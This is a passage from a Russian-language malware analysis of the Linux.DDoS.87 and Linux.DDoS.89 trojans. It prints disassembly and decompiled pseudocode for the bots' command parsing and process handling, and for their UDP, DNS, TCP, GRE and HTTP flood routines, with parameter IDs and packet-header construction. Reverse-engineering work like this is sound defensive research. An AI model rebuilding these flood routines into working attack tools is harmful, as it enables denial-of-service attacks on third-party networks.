    uint8_t len;
    uint8_t data[len];
}
//структуры, в которые они отображаются в троянце
struct target_parsed {
    uint32      target_ip;
    uint8       maskbits;
    sockaddr_in sockaddr;
}
```

```
struct param_parsed {
    uint8   id;
    char *  data;
}
```

Код начала анализа заголовка пакета:

```
.text:0804BA60 head_packet_parse:                      ; CODE XREF: pro-
cess+12j
.text:0804BA60                 mov     edi, [esi+pkct_cmd.sleepTime] ;
ebx = size
.text:0804BA62                 ror     di, 8
.text:0804BA66                 ror     edi, 10h
.text:0804BA69                 ror     di, 8
.text:0804BA6D                 cmp     ebx, 4
.text:0804BA70                 jz      short ret_form_func
.text:0804BA72                 mov     al, [esi+pkct_cmd.cmd]
.text:0804BA75                 cmp     ebx, 5
.text:0804BA78                 mov     [esp+4Ch+var_39], al
.text:0804BA7C                 jz      short ret_form_func
.text:0804BA7E                 mov     al, [esi+pkct_cmd.host_count]
.text:0804BA81                 test    al, al
.text:0804BA83                 jz      short ret_form_func
.text:0804BA85                 and     eax, 0FFh
.text:0804BA8A                 lea     edx, [ebx-6]
.text:0804BA8D                 mov     [esp+4Ch+unprocessed_bytes], edx
.text:0804BA91                 mov     [esp+4Ch+target_count], eax
.text:0804BA95                 lea     ebp, [eax+eax*4]
.text:0804BA98                 cmp     edx, ebp
.text:0804BA9A                 jb      short ret_form_func
.text:0804BA9C                 lea     eax, [esi+pkct_cmd.target]
.text:0804BA9F                 mov     [esp+4Ch+var_18], eax
.text:0804BAA3                 push    eax
.text:0804BAA4                 push    eax
.text:0804BAA5                 push    18h             ; size
.text:0804BAA7                 mov     ecx, [esp+58h+target_count]
.text:0804BAAB                 push    ecx             ; nmemb
.text:0804BAAC                 call    _calloc
```

```
.text:0804BAB1                  mov     [esp+5Ch+targets], eax
.text:0804BAB5                  add     esp, 10h
.text:0804BAB8                  mov     edx, [esp+4Ch+target_count]
.text:0804BABC                  test    edx, edx
.text:0804BABE                  jle     short end_target_parsing
```

Код разбора присланных целей атаки:

```
.text:0804BAC7 parse_next_target:                       ; CODE XREF: pro-
cess+A3j
.text:0804BAC7                  mov     edx, [ecx+pkct_cmd.target.ip_addr]
.text:0804BACA                  mov     [esi+target_parsed.target_ip], edx
.text:0804BACC                  mov     al, [ecx+pkct_cmd.target.masksize]
.text:0804BACF                  add     ecx, 5
.text:0804BAD2                  mov     [esi+target_parsed.masksize], al
.text:0804BAD5                  mov     [esi+target_parsed.sockaddr.sin_-
family], 2
.text:0804BADB                  mov     [esi+target_parsed.sock-
addr.sin_addr.s_addr], edx
.text:0804BADE                  add     esi, 18h
.text:0804BAE1                  cmp     ecx, ebp
.text:0804BAE3                  jnz     short parse_next_target
.text:0804BAE5                  mov     edx, [esp+4Ch+target_count]
.text:0804BAE9                  add     ecx, 6
.text:0804BAEC                  mov     [esp+4Ch+var_18], ecx
.text:0804BAF0                  lea     eax, [edx+edx*4]
.text:0804BAF3                  sub     ebx, eax
.text:0804BAF5                  sub     ebx, 6
.text:0804BAF8                  mov     [esp+4Ch+unprocessed_bytes], ebx
```

Затем троянец определяет, следует ли разбирать передаваемые параметры, и если это так, после завершения разбора вызывается функция `run_command`:

```
.text:0804BAFC end_target_parsing:                      ; CODE XREF: pro-
cess+7Ej
.text:0804BAFC                  mov     eax, [esp+4Ch+unprocessed_bytes]
.text:0804BB00                  mov     [esp+4Ch+params_buffer], 0
.text:0804BB08                  test    eax, eax
.text:0804BB0A                  jz      short finish_processing ; no para-
m_cnt field = error
.text:0804BB0C                  mov     ebx, [esp+4Ch+var_18]
```

```
.text:0804BB10                  mov     bl, [ebx]
.text:0804BB12                  mov     [esp+4Ch+param_cnt], bl
.text:0804BB16                  test    bl, bl
.text:0804BB18                  jnz     start_parse_params
.text:0804BB1E                  mov     [esp+4Ch+var_20], 0
.text:0804BB26 start_command_execution:                 ; CODE XREF: pro-
cess+198j
.text:0804BB26                                          ; process+27Aj
.text:0804BB26                  push    ebp
.text:0804BB27                  push    ebp
.text:0804BB28                  mov     esi, [esp+54h+params_buffer]
.text:0804BB2C                  xor     eax, eax
.text:0804BB2E                  push    esi
.text:0804BB2F                  mov     ebx, [esp+58h+param_count]
.text:0804BB33                  push    ebx
.text:0804BB34                  mov     ecx, [esp+5Ch+targets]
.text:0804BB38                  push    ecx
.text:0804BB39                  mov     edx, [esp+60h+targets_count]
.text:0804BB3D                  push    edx
.text:0804BB3E                  mov     al, [esp+64h+params]
.text:0804BB42                  push    eax
.text:0804BB43                  push    edi
.text:0804BB44                  call    run_command
```

run_command

Функция принимает на вход значение времени, номер команды, количество и массив целей, количество и массив параметров. В первую очередь выполняется поиск необходимого обработчика:

```
.text:0804B937                  mov     bl, ds:handlers.length
.text:0804B93D                  mov     al, [esp+2Ch+number]
.text:0804B941                  test    bl, bl
.text:0804B943                  mov     [esp+2Ch+local_saved_number], al
.text:0804B947                  movzx   ebp, [esp+2Ch+target_count]
.text:0804B94C                  movzx   edi, [esp+2Ch+params_count]
.text:0804B951                  jz      short return    ; empty handlers
.text:0804B953                  mov     ecx, ds:handlers.handlers
```

```
.text:0804B959                  xor     esi, esi
.text:0804B95B                  cmp     al, [ecx+cmd.number]
.text:0804B95D                  jz      short handler_found
.text:0804B95F                  xor     edx, edx
.text:0804B961                  jmp     short loc_804B977
.text:0804B963 ;
-------------------------------------------------------------------------
--
.text:0804B963
.text:0804B963 next_entry:                              ; CODE XREF: run_-
command+4Aj
.text:0804B963                  xor     eax, eax
.text:0804B965                  mov     al, dl
.text:0804B967                  lea     esi, ds:0[eax*8]
.text:0804B96E                  mov     al, [esp+2Ch+local_saved_number]
.text:0804B972                  cmp     [esi+ecx], al
.text:0804B975                  jz      short handler_found
.text:0804B977
.text:0804B977 loc_804B977:                             ; CODE XREF: run_-
command+31j
.text:0804B977                  inc     edx
.text:0804B978                  cmp     dl, bl
.text:0804B97A                  jnz     short next_entry
```

Затем выполняется запуск дочерних процессов:

```
handler_found:
pid_children = fork(); //parent
if ( pid_children <= 0 ) {
    if ( !pid_children ){
        pid_2 = fork();
        if ( pid_2 > 0 )
            exit(0); //child die, so parent returns to command execution
        if ( !pid_2){
            v6 = fork();
            if ( !v6 ){
              setsid();
              init_random();
              handlers.handlers[v7].func(target_count, targets, params_-
count, params); // run command
```

```
              exit(0);
            }
            if ( v6 > 0 ){
              setsid();
              sleep(time);
              kill(v6, 9); //kills his child after $time seconds
              exit(0);
            }
        }
    }
}else{//parent waiting for children death
    LOBYTE(v6) = __libc_waitpid(pid_children, &status, 0);
}
```

Обработчики команд

```
.text:08048190 cmd15           proc near               ; CODE XREF: cm-
d15j
.text:08048190                                         ; DATA XREF:
fillCmdHandlers+27Ao
.text:08048190                 jmp     short cmd15
.text:08048190 cmd15           endp
.text:08048190
.text:08048190 ;
---------------------------------------------------------------------------
--
.text:08048192                 align 10h
.text:080481A0
.text:080481A0 ; =============== S U B R O U T I N E
=======================================
.text:080481A0
.text:080481A0 ; Attributes: noreturn
.text:080481A0
.text:080481A0 cmd16           proc near               ; CODE XREF: cm-
d16j
.text:080481A0                                         ; DATA XREF:
fillCmdHandlers+2B4o
.text:080481A0                 jmp     short cmd16
.text:080481A0 cmd16           endp
.text:080481A0
```

```
.text:080481A0 ;
-------------------------------------------------------------------------
--
.text:080481A2                 align 10h
.text:080481B0
.text:080481B0 ; =============== S U B R O U T I N E
=======================================
.text:080481B0
.text:080481B0 ; Attributes: noreturn
.text:080481B0
.text:080481B0 cmd17           proc near               ; CODE XREF: cm-
d17j
.text:080481B0                                         ; DATA XREF:
fillCmdHandlers+2EBo
.text:080481B0                 jmp     short cmd17
.text:080481B0 cmd17           endp
.text:080481B0
```

Остальные обработчики действуют по следующей схеме:

```
void handle(target *t, param *p){
    троянец получает параметры пакета
    для каждой из целей создается свой пакет
    пока 1 {
        для каждой из целей
            если (maskbits <= 31), то выбирается новый IP для цели
            оправляется пакет
    }
}
```

cmd0 – UDP Flood

В первую очередь осуществляется разбор присланных параметров:

```
v23 = calloc(target_count, 4u);
TOS = getNumberOrDefault(params_count, params, 2, 0);
ident = getNumberOrDefault(params_count, params, 3, 0xFFFF);
TTL = getNumberOrDefault(params_count, params, 4, 64);
fragmentation = getNumberOrDefault(params_count, params, 5, 0);
sport = getNumberOrDefault(params_count, params, 6, 0xFFFF);
```

```
dport = getNumberOrDefault(params_count, params, 7, 0xFFFF);
packetSize = getNumberOrDefault(params_count, params, 0, 512);
needFillRandom = getNumberOrDefault(params_count, params, 1, 1);
```

Функция **getNumberOrDefault** имеет следующую сигнатуру:

```
int __cdecl getNumberOrDefault(unsigned __int8 length, param2 *param,
char id, int default)
```

Она возвращает значение из массива параметров с указанным id или значение `default`, если заданного id не найдено. Значения поля id:

Id	**Значение**
0	Меняется от обработчика. Означает либо длину всего пакета, либо длину данных
1	Для некоторых типов атак определяет, нужно ли генерировать случайные данные в пакете
2	ip_header.TOS
3	ip_header.identification
4	ip_header.TTL
5	ip_header.flags << 13 | ip_header.fragment
6	source port
7	dest port
8	Хост в DNS-запросе.
9	Параметры для DNS-запроса.
11	TCP.urgent_flag
12	TCP.ack_flag
13	TCP.psh_flag
14	TCP.rst_flag
15	TCP.syn_flag
16	TCP.fin_flag
17	TCP.Sequence_number
19	Указывает, совпадает ли ip.dstAddr во вложенном в GRE-пакете с ip.destAddr внешнего пакета

Id	Значение
20	Запрашиваемая страница
22	Значение заголовка host

Далее троянец создает «сырой» сокет и заполняет IP-заголовок:

```
.text:0804AB7F                  push    IPPROTO_UDP
.text:0804AB81                  push    SOCK_RAW
.text:0804AB83                  push    AF_INET
.text:0804AB85                  call    ___GI_socket
.text:0804AB8A                  mov     [esp+6Ch+fd], eax
.text:0804AB8E                  add     esp, 10h
.text:0804AB91                  inc     eax
.text:0804AB92                  jz      loc_804AE5E
.text:0804AB98                  mov     [esp+5Ch+var_14], 1
.text:0804ABA0                  sub     esp, 0Ch
.text:0804ABA3                  push    4
.text:0804ABA5                  lea     eax, [esp+6Ch+var_14]
.text:0804ABA9                  push    eax
.text:0804ABAA                  push    IP_HDRINCL
.text:0804ABAC                  push    SOL_IP
.text:0804ABAE                  mov     ebx, [esp+78h+fd]
.text:0804ABB2                  push    ebx
.text:0804ABB3                  call    ___GI_setsockopt
```

После этого для каждой присланной цели генерируется по заголовку IP/UDP-дейтаграммы:

```
do {
    target_packet_headers[v4] = calloc(0x5E6u, 1u);     current_ipudp_-
header = target_packet_headers[counter];
    current_ipudp_header->header.ip.Version = 69;
    current_ipudp_header->header.ip.TOS = TOS;
    v6 = htons(packetSize + 28, 8);
    current_ipudp_header->header.ip.totalLength = v6;
    current_ipudp_header->header.ip.TTL = TTL;
    v7 = htons(ident, 8);
    current_ipudp_header->header.ip.ident = v7;
    if ( fragmentation )
```

```
        current_ipudp_header->header.ip.frag_offs = 64;
    current_ipudp_header->header.ip.protocol = IPPROTO_UDP;
    current_ipudp_header->header.ip.src_addr = selfaddr;
    current_ipudp_header->header.ip.dst_addr = targets[counter].tar-
get_ip;
    v9 = __ROR2__(sport, 8);
    current_ipudp_header->header.udp.sport = v9;
    v10 = __ROR2__(dport, 8);
    current_ipudp_header->header.udp.dport = v10;
    v11 = __ROR2__(packetSize + 8, 8);
    current_ipudp_header->header.udp.length = v11;
    counter++;
}while ( target_count > counter );
```

Затем в цикле на заданные цели отправляются пакеты. Если для цели указан **maskbits <= 31**, генерируется случайная цель. При этом, если значения параметров `ident`, `dport` и `sport` равны `0xffff`, то для каждого пакета эти параметры будут генерироваться случайным образом, а если установлен соответствующий параметр, будет произведена генерация тела пакета:

```
text:0804ADF3 rand_indent:                              ; CODE XREF: cm-
d0_udp_random+233j
.text:0804ADF3                  call    rand_cmwc
.text:0804ADF8                  cmp     [esp+5Ch+sourcePort], 0FFFFh
.text:0804ADFE                  mov     [esi+ipudp_0.header._ip.ident], ax
.text:0804AE02                  jnz     sport_is_const
.text:0804AE08 rand_sport:                              ; CODE XREF: cm-
d0_udp_random+23Fj
.text:0804AE08                  call    rand_cmwc
.text:0804AE0D                  cmp     [esp+5Ch+destPort], 0FFFFh
.text:0804AE13                  mov     [esi+ipudp_0.header.udp.sport], ax
.text:0804AE17                  jnz     dport_is_const
.text:0804AE1D rand_dport:                              ; CODE XREF: cm-
d0_udp_random+24Bj
.text:0804AE1D                  call    rand_cmwc
.text:0804AE22                  cmp     [esp+5Ch+needFillRandom], 0
.text:0804AE27                  mov     [edi+udp_packet.dport], ax
.text:0804AE2B                  jz      send_packet
.text:0804AE31 loc_804AE31:                             ; CODE XREF: cm-
d0_udp_random+256j
.text:0804AE31                  push    eax
```

```
.text:0804AE32                  push    eax
.text:0804AE33                  mov     eax, dword ptr [esp+64h
+size_of_packet]
.text:0804AE37                  and     eax, 0FFFFh
.text:0804AE3C                  push    eax             ; a2
.text:0804AE31 loc_804AE31:                             ; CODE XREF: cm-
d0_udp_random+256j
.text:0804AE31                  push    eax
.text:0804AE32                  push    eax
.text:0804AE33                  mov     eax, dword ptr [esp+64h
+size_of_packet]
.text:0804AE37                  and     eax, 0FFFFh
.text:0804AE3C                  push    eax             ; a2
.text:0804AE3D                  lea     eax, [esi+ipudp_0.data]
.text:0804AE40                  push    eax             ; a1
.text:0804AE41                  call    fillBufRandom
.text:0804AE46                  add     esp, 10h
.text:0804AE49                  jmp     send_packet
```

После этого троянец подсчитывает контрольные суммы и переходит к следующей цели. Это продолжается до тех пор, пока процесс не будет завершен:

```
.text:0804AD1C send_packet:                             ; CODE XREF: cm-
d0_udp_random+36Bj
.text:0804AD1C                                          ; cmd0_udp_random
+389j
.text:0804AD1C                  mov     word ptr [esi+0Ah], 0
.text:0804AD22                  push    eax
.text:0804AD23                  push    eax
.text:0804AD24                  push    14h
.text:0804AD26                  push    esi
.text:0804AD27                  call    calcIPCheckSum
.text:0804AD2C                  mov     [esi+0Ah], ax
.text:0804AD30                  mov     word ptr [edi+6], 0
.text:0804AD36                  push    ebx             ; a4
.text:0804AD37                  mov     ax, [edi+4]
.text:0804AD3B                  and     eax, 0FFFFh
.text:0804AD40                  push    eax             ; a3
.text:0804AD41                  push    edi             ; a2
.text:0804AD42                  push    esi             ; a1
```

```
.text:0804AD43                  call    calcUDPChecksum
.text:0804AD48                  mov     [edi+6], ax
.text:0804AD4C                  mov     eax, [esp+7Ch+counter]
.text:0804AD50                  mov     ecx, [esp+7Ch+targets]
.text:0804AD57                  mov     dx, [edi+2]
.text:0804AD5B                  lea     eax, [eax+eax*2]
.text:0804AD5E                  add     esp, 18h
.text:0804AD61                  shl     eax, 3
.text:0804AD64                  mov     [eax+ecx+0Ah], dx
.text:0804AD69                  lea     eax, [ecx+eax+8]
.text:0804AD6D                  push    10h
.text:0804AD6F                  push    eax
.text:0804AD70                  push    4000h
.text:0804AD75                  push    ebp
.text:0804AD76                  push    esi
.text:0804AD77                  mov     esi, [esp+78h+fd]
.text:0804AD7B                  push    esi
.text:0804AD7C                  call    ___libc_sendto
.text:0804AD81                  mov     eax, [esp+7Ch+counter]
.text:0804AD85                  inc     eax
.text:0804AD86                  mov     [esp+7Ch+counter], eax
.text:0804AD8A                  add     esp, 20h
.text:0804AD8D                  cmp     eax, [esp+5Ch+target_count_2]
.text:0804AD91                  jl      send_to_next_target
.text:0804AD97                  mov     ecx, [esp+5Ch+target_count_2]
.text:0804AD9B                  test    ecx, ecx
.text:0804AD9D                  jmp     and_again
```

cmd1 – Source Engine Amplification

Работает аналогично предыдущей команде, однако содержимое пакета извлекается из конфигурации:

```
TOS = getNumberOrDefault(params_count, params, 2, 0);
ident = getNumberOrDefault(params_count, params, 3, 0xFFFF);
TTL = getNumberOrDefault(params_count, params, 4, 64);
frag = getNumberOrDefault(params_count, params, 5, 0);
sport = getNumberOrDefault(params_count, params, 6, 0xFFFF);
```

```
dport = getNumberOrDefault(params_count, params, 7, 27015); //constant by default
tsource = (char *)get_data_from_config(8);  // get "TSource Engine Query"
```

cmd2 – DNS flood

Эта команда использует аналогичные предыдущим параметры, к которым добавляется значение `transaction_id` для DNS-пакета и доменное имя, которое необходимо запросить:

```
TOS = getNumberOrDefault(params_count, params, 2, 0);
ident = getNumberOrDefault(params_count, params, 3, 0xFFFF);
TTL = getNumberOrDefault(params_count, params, 4, 64);
frag = getNumberOrDefault(params_count, params, 5, 0);
sport = getNumberOrDefault(params_count, params, 6, 0xFFFF);
dport = getNumberOrDefault(params_count, params, 7, 53);
transaction_id_1 = getNumberOrDefault(params_count, params, 9, 0xFFFF);
random_data_length = getNumberOrDefault(params_count, params, 0, 12);
query = getString(params_count, params, 8, 0);
```

Формируется пакет со ста запросами различных доменов и отсылается на указанный адрес. При этом выставляется флаг **Recursion desired**:

```
.text:0804A4D3                  mov     [ecx+dnsheader.flags], 1 ; Do re-
quest reqursively
.text:0804A4D9                  mov     [ecx+dnsheader.qdcount], 100h ;
One Request
.text:0804A4DF                  mov     [edx+ipudp_2.queries], al  ; size
of random generated
.text:0804A4E2                  mov     ecx, [esp+6Ch+random_data_length]
.text:0804A4E6                  push    eax
.text:0804A4E7                  mov     eax, [esp+70h+length_of_domain]
.text:0804A4EB                  push    eax             ; a3
.text:0804A4EC                  lea     ebx, [edx+ecx+(ipudp_2.queries
+1)]
.text:0804A4F0                  mov     eax, [esp+74h+domain_query]
.text:0804A4F4                  push    eax             ; a2
.text:0804A4F5                  lea     eax, [ebx+1]
.text:0804A4F8                  push    eax             ; a1
.text:0804A4F9                  call    strncpy
.text:0804A4FE                  add     esp, 10h
.text:0804A501                  mov     esi, [esp+6Ch+length_of_str]
```

```
.text:0804A505                  test    esi, esi
.text:0804A507                  jle     loc_804A71E
.text:0804A50D                  mov     edx, ebx
.text:0804A50F                  xor     ecx, ecx
.text:0804A511                  mov     eax, 1
.text:0804A516                  jmp     short check_char_in_query
.text:0804A518 ;
---------------------------------------------------------------------------
.text:0804A518 not_dot:                                 ; CODE XREF: cm-
d2_dns_flood+29Dj
.text:0804A518                  inc     ecx             ; parsing query
.text:0804A519
.text:0804A519 not_very_efficient_loop:                 ; CODE XREF: cm-
d2_dns_flood+2A6j
.text:0804A519                  inc     eax
.text:0804A51A                  cmp     eax, [esp+6Ch+random_data_length]
.text:0804A51E                  jz      loc_804A6E9
.text:0804A524
.text:0804A524 check_char_in_query:                     ; CODE XREF: cm-
d2_dns_flood+286j
.text:0804A524                  mov     esi, [esp+6Ch+domain_query]
.text:0804A528                  cmp     byte ptr [eax+esi-1], '.'
.text:0804A52D                  jnz     short not_dot   ; parsing query
.text:0804A52F                  mov     [edx], cl
.text:0804A531                  lea     edx, [ebx+eax]
.text:0804A534                  xor     ecx, ecx
.text:0804A536                  jmp     short not_very_efficient_loop
```

Имя запрашиваемого хоста генерируется следующим образом: поле 0 задает длину случайно генерируемого префикса. К нему добавляется строка, которая передается в параметре с **id = 8**.

cmd3 – TCP flood 2 options

Команда предназначена для отправки на указанные цели TCP-пакетов. Через параметры позволяет указывать значения TCP-флагов. Используемые параметры:

```
TOS = getNumberOrDefault(params_count, params, 2, 0);
ident = getNumberOrDefault(params_count, params, 3, 0xFFFF);
TTL = getNumberOrDefault(params_count, params, 4, 64);
frag = getNumberOrDefault(params_count, params, 5, 1);
```

```
sport = getNumberOrDefault(params_count, params, 6, 0xFFFF);
dport = getNumberOrDefault(params_count, params, 7, 0xFFFF);
seq = getNumberOrDefault(params_count, params, 17, 0xFFFF);
v32 = getNumberOrDefault(params_count, params, 18, 0);
urgent_flag = getNumberOrDefault(params_count, params, 11, 0);
ack_flag = getNumberOrDefault(params_count, params, 12, 0);
psh_flag = getNumberOrDefault(params_count, params, 13, 0);
rst_flag = getNumberOrDefault(params_count, params, 14, 0);
syn_flag = getNumberOrDefault(params_count, params, 15, 1);
fin_flag = getNumberOrDefault(params_count, params, 16, 0);
```

Установка флагов в пакете:

```
.text:0804A016                  mov     [esi+tcp_packet.seq], eax
.text:0804A019                  mov     al, byte ptr [esi
+tcp_packet.flags]
.text:0804A01C                  and     eax, 0Fh
.text:0804A01F                  or      eax, 0FFFFFFA0h ; set packet size
as 10 dwords (40 bytes)
.text:0804A022                  mov     byte ptr [esi+tcp_packet.flags],
al
.text:0804A025                  mov     al, byte ptr [esi
+(tcp_packet.flags+1)]
.text:0804A028                  and     eax, 0FFFFFFCFh ; 0x11001111
.text:0804A02B                  mov     dl, [esp+6Ch+ack_flg]
.text:0804A02F                  or      al, [esp+6Ch+urgent_flg_shifted]
.text:0804A033                  mov     cl, [esp+6Ch+push_flag]
.text:0804A037                  shl     edx, 4
.text:0804A03A                  shl     ecx, 3
.text:0804A03D                  or      eax, edx
.text:0804A03F                  and     eax, 0FFFFFFF3h ; 0x11110011
.text:0804A042                  mov     dl, [esp+6Ch+rst_flg]
.text:0804A046                  shl     edx, 2
.text:0804A049                  or      eax, ecx
.text:0804A04B                  or      eax, edx
.text:0804A04D                  mov     dl, [esp+6Ch+syn_flag]
.text:0804A051                  add     edx, edx
.text:0804A053                  and     eax, 0FFFFFFFCh
.text:0804A056                  or      eax, edx
```

```
.text:0804A058                  or      eax, edi
.text:0804A05A                  mov     byte ptr [esi+(tcp_packet.flags
+1)], al
```

Помимо этого в пакете устанавливаются TCP-параметры с номерами 2 и 8 – `maximum segment size` и `timestamp`:

```
.text:0804A05D                  mov     byte ptr [ebx+28h], TCPOPT_MAXSEG
.text:0804A061                  mov     byte ptr [ebx+29h], 4
.text:0804A065                  call    rand_cmwc
.text:0804A06A                  mov     byte ptr [ebx+2Ch], 4
.text:0804A06E                  and     eax, 0Fh
.text:0804A071                  mov     byte ptr [ebx+2Dh], 2
.text:0804A075                  add     eax, 578h
.text:0804A07A                  mov     byte ptr [ebx+2Eh],
TCPOPT_TIMESTAMP
.text:0804A07E                  ror     ax, 8
.text:0804A082                  mov     byte ptr [ebx+2Fh], 0Ah
.text:0804A086                  mov     [ebx+2Ah], ax
.text:0804A08A                  call    rand_cmwc
.text:0804A08F                  mov     dword ptr [ebx+34h], 0
.text:0804A096                  mov     [ebx+30h], eax
.text:0804A099                  mov     byte ptr [ebx+38h], 1
.text:0804A09D                  mov     byte ptr [ebx+39h], 3
.text:0804A0A1                  mov     byte ptr [ebx+3Ah], 3
.text:0804A0A5                  mov     byte ptr [ebx+3Bh], 6
```

После формирования пакет отправляется без каких-либо данных.

cmd4 – TCP flood random

Команда работает аналогично предыдущей, однако TCP-параметры в пакете не устанавливаются. Если установлен соответствующий флаг, в пакет записываются случайные данные.

cmd6 – TCP flood 1 option

Команда аналогична `cmd3`, однако устанавливается лишь один параметр:

```
.text:08049656                  mov     byte ptr [esi+iptcp_6.data],
TCPOPT_NOP
```

```
.text:0804965A                  mov     byte ptr [esi+(iptcp_6.data+1)],
TCPOPT_NOP
.text:0804965E                  mov     byte ptr [esi+2Ah],
TCPOPT_TIMESTAMP
.text:08049662                  mov     byte ptr [esi+2Bh], 0Ah
.text:08049666                  lea     ebx, [esi+2Ch]
.text:08049669                  call    rand_cmwc
.text:0804966E                  mov     [esi+2Ch], eax
.text:08049671                  call    rand_cmwc
.text:08049676                  mov     [ebx+4], eax
```

cmd7 – TCP flood simple

В отличие от предыдущих методов, при выполнении этой команды задается лишь порт и размер отправляемых данных. Для отправления самой атаки устанавливается полноценное TCP-соединение с использованием сокетов:

```
port = getNumberOrDefault(params_count, params, 7, 80);
size = getNumberOrDefault(params_count, params, 0, 1024);
useRandom = getNumberOrDefault(params_count, params, 1, 1);
```

cmd8 UDP flood over GRE

Команда отправляет UDP-пакеты с использованием протокола GRE. Использует следующие параметры:

```
TOS = getNumberOrDefault(params_count, param, 2, 0);
ident = getNumberOrDefault(params_count, param, 3, 0xFFFF);
TTL = getNumberOrDefault(params_count, param, 4, 64);
frag = getNumberOrDefault(params_count, param, 5, 1);
sport = getNumberOrDefault(params_count, param, 6, 0xFFFF);
dport = getNumberOrDefault(params_count, param, 7, 0xFFFF);
payloadLength = getNumberOrDefault(params_count, param, 0, 512);
fillRandom = getNumberOrDefault(params_count, param, 1, 1);
useSameAddr = getNumberOrDefault(params_count, param, 19, 0); //inner
ip.dstAddr == outer ip.dstAddr
```

Формирование GRE-пакета осуществляется следующим образом:

```
.text:08048F57 loc_8048F57:                             ; CODE XREF: cm-
d8_GRE_udp_random+1EFj
```

```
.text:08048F57                  mov     [ebx+ipgre8._ip.protocol],
IPPROTO_GRE
.text:08048F5B                  mov     [edx+gre_packet.protocolType], 8 ;
IP protocol
.text:08048F61                  mov     eax, ds:selfaddr
.text:08048F66                  mov     ecx, [esp+5Ch+arg_4]
.text:08048F6A                  mov     [ebx+ipgre8._ip.src_addr], eax
.text:08048F6D                  mov     eax, [esp+5Ch+counter]
.text:08048F71                  lea     eax, [eax+eax*2]
.text:08048F74                  mov     eax, [ecx+eax*8]
.text:08048F77                  mov     [ebx+ipgre8.ip_in-
ner.header._ip.Version], 45h
.text:08048F7B                  mov     [ebx+ipgre8._ip.dst_addr], eax
.text:08048F7E                  mov     al, [esp+5Ch+TOS]
.text:08048F82                  mov     [esi+ipudp._ip.TOS], al
.text:08048F85                  mov     dl, [esp+5Ch+TTL]
.text:08048F89                  mov     eax, dword ptr [esp+5Ch+inner-
_length]
.text:08048F8D                  ror     ax, 8
.text:08048F91                  mov     [esi+ipudp._ip.totalLength], ax
.text:08048F95                  mov     ax, [esp+5Ch+ident_inner]
.text:08048F9A                  mov     [esi+ipudp._ip.TTL], dl
.text:08048F9D                  ror     ax, 8
.text:08048FA1                  cmp     [esp+5Ch+frag], 0
.text:08048FA6                  mov     [esi+ipudp._ip.ident], ax
.text:08048FAA                  jz      short loc_8048FB2
.text:08048FAC                  mov     [esi+ipudp._ip.frag_offs], 40h
.text:08048FB2
.text:08048FB2 loc_8048FB2:                             ; CODE XREF: cm-
d8_GRE_udp_random+24Aj
.text:08048FB2                  mov     [esi+ipudp._ip.protocol],
IPPROTO_UDP
.text:08048FB6                  call    rand_cmwc
.text:08048FBB                  cmp     [esp+5Ch+var_27], 0
.text:08048FC0                  mov     [esi+ipudp._ip.src_addr], eax
.text:08048FC3                  jnz     use_same
.text:08048FC9                  sub     eax, 400h
.text:08048FCE                  xor     eax, 0FFFFFFFFh
.text:08048FD1                  mov     [esi+ipgre8._ip.dst_addr], eax
```

```
.text:08048FD4                  jmp     loc_8048EC3
```

cmd10 GRE Packet using Transparent Ethernet Bridging

Как и предыдущая, эта команда оправляет инкапсулированные GRE-пакеты, однако в этом случае используется TEB (Transparent Ethernet Bridging): вложенный пакет содержит полноценный Ethernet-фрэйм. MAC-адреса как отправителя, так и получателя во внутреннем фрейме генерируются случайным образом:

```
.text:08048A3A                  mov     [ebx+ipgre_9.outer_iphdr._ip.protocol], IPPROTO_GRE
.text:08048A3E                  mov     [ecx+gre_packet.protocolType], 5865h ; GRE_NET_TEB
.text:08048A44                  mov     eax, ds:selfaddr
.text:08048A49                  mov     edx, [esp+6Ch+arg_4]
.text:08048A4D                  mov     [ebx+ipgre_9.outer_iphdr._ip.src_addr], eax
.text:08048A50                  mov     ecx, [esp+6Ch+saved_frame]
.text:08048A54                  mov     eax, [esp+6Ch+counter]
.text:08048A58                  mov     [ecx+ether_packet.type], 8 ; IP
```

cmd14 HTTP Flood

За один проход цикла команда отправляет на заданный узел 10 HTTP-запросов следующего вида:

```
GET <param(20)> HTTP/1.1
Host: <param(22)>
Connection: keep-alive
User-Agent: <один случайно выбранный из указанных в конфигурации>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8
```

Linux.DDoS.89

SHA1: 846b2d1b091704bb5a90a1752cafe5545588caa6

Модифицированная версия трояна Linux.DDoS.87. Использует схожий способ заполнения структуры с обработчиками команд:

```
v0->number_ = 0;
v0->func = cmd0;
v2 = (cmd **)realloc(malware_conf.entries, 4 * malware_conf.size + 4);
v3 = malware_conf.size + 1;
malware_conf.entries = v2;
v2[malware_conf.size] = v1;
malware_conf.size = v3;
v4 = (cmd *)calloc(1u, 8u);
v5 = v4;
v4->number_ = 1;
v4->func = cmd1;
```

Был переработан вид используемых структур: некоторые поля поменялись местами. Также изменился способ заполнения и хранения конфигурации: в этой версии трояна память для ее записи не переаллоцируется, вместо этого используется статически выделенная область памяти. Перед использованием хранящегося в памяти конкретного значения конфигурации вызывается функция **decode**, которая расшифровывает значение с использованием операции XOR. После использования эта функция вызывается повторно для кодирования значения в памяти. Как и в предыдущей версии, значения полей получаются по номеру, но теперь он совпадает с их положением в массиве. Формат присылаемых команд не изменился. Идентичен и способ запуска обработчика команды (с учетом изменения способа хранения обработчиков).

Запуск обработчика команды в **Linux.DDoS.87**:

```
char __cdecl run_command(__time_t time, char number, unsigned __int8 tar-
get_count, target_parsed *targets, unsigned __int8 params_count, param2
*params)
{
  signed int v6; // eax@1
  int v7; // esi@2
  unsigned __int8 v8; // dl@3
  int v9; // ebx@12
  int status; // [esp+28h] [ebp-14h]@8
  LOBYTE(v6) = number;
  if ( handlers.length )
```

```
  {
    v7 = 0;
    if ( number == handlers.handlers->number )
    {
handler_found:
      v6 = __libc_fork();
      if ( v6 <= 0 )
      {
        if ( !v6 )
        {
          v6 = __libc_fork();
          if ( v6 > 0 )
            __GI_exit(0);
          if ( !v6 )
          {
            v6 = __libc_fork();
            v9 = v6;
            if ( !v6 )
            {
              __GI_setsid();
              init_random();
              handlers.handlers[v7].func(target_count, targets, params_-
count, params);
              __GI_exit(0);
            }
            if ( v6 > 0 )
            {
              __GI_setsid();
              sleep(time);
              __GI_kill(v9, 9);
              __GI_exit(0);
            }
          }
        }
      }
      else
      {
```

```
        LOBYTE(v6) = __libc_waitpid(v6, &status, 0);
      }
    }
    else
    {
      v8 = 0;
      while ( ++v8 != handlers.length )
      {
        v7 = v8;
        LOBYTE(v6) = number;
